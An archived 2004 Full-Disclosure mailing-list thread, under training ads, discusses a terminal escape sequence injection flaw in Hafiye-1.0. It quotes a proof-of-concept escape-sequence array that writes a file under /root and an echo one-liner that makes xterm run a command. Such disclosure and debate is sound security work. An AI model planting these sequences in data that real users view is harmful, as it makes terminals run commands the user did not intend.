Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Vuln-Dev
[Top] [All Lists]

[Full-Disclosure] Re: Hafiye-1.0 Terminal Escape Sequence Injection Vuln

Subject: [Full-Disclosure] Re: Hafiye-1.0 Terminal Escape Sequence Injection Vulnerability
Date: Tue, 24 Aug 2004 20:24:50 +0300
Rodrigo Barbosa wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Mon, Aug 23, 2004 at 09:32:15PM +0300, Serkan Akpolat wrote:

char *esc_sequence[]= {"Escape Sequences",
                      "\x1b""]2;Insecure?""\x07\x0a",
                      "\x07\x07\x07\x07\x07\x07",
                      "\x1b""]2;;echo Owned > /root/Owned.txt"
                      "\x07\x1b""[21t""\x1b""]2;xterm""\x07"
                      "Abnormal Termination""\x1b"
                      "[8m;""\x0a"};


Looks like a traditional ANSI escape code "exploit" (or should I say abuse ?).
I would blame this on the terminal, nor on the Hafiye software itself.

[]s

- -- Rodrigo Barbosa <rodrigob@suespammers.org>
"Quid quid Latine dictum sit, altum viditur"
"Be excellent to each other ..." - Bill & Ted (Wyld Stallyns)


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQFBK2TPpdyWzQ5b5ckRAmQmAKCC/JHgqFew7X5MPg7JwIZWGT3ZywCfURNQ
Lg02GiczNMHvLbitgXLSc6c=
=qau0
-----END PGP SIGNATURE-----



Well i would not blame this on terminal emulators.
And the escape sequences in the poc exploit i wrote are not related with ANSI escape code "exploit".
They are features of terminal emulators.



echo -e "\e]2;;ls;\a\e[21t\abash-2.05b$\e[8m;"
You can try this one in xterm.You will see bash-2.05b$ , if you type some command and hit enter, "ls" command in the escape sequence will be executed too. (thanks to bloofar for the hint)


You can read more on "TERMINAL EMULATOR SECURITY ISSUES" paper written by H D Moore. The paper also covers old vulnerabilities in terminal emulators.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

<Prev in Thread] Current Thread [Next in Thread>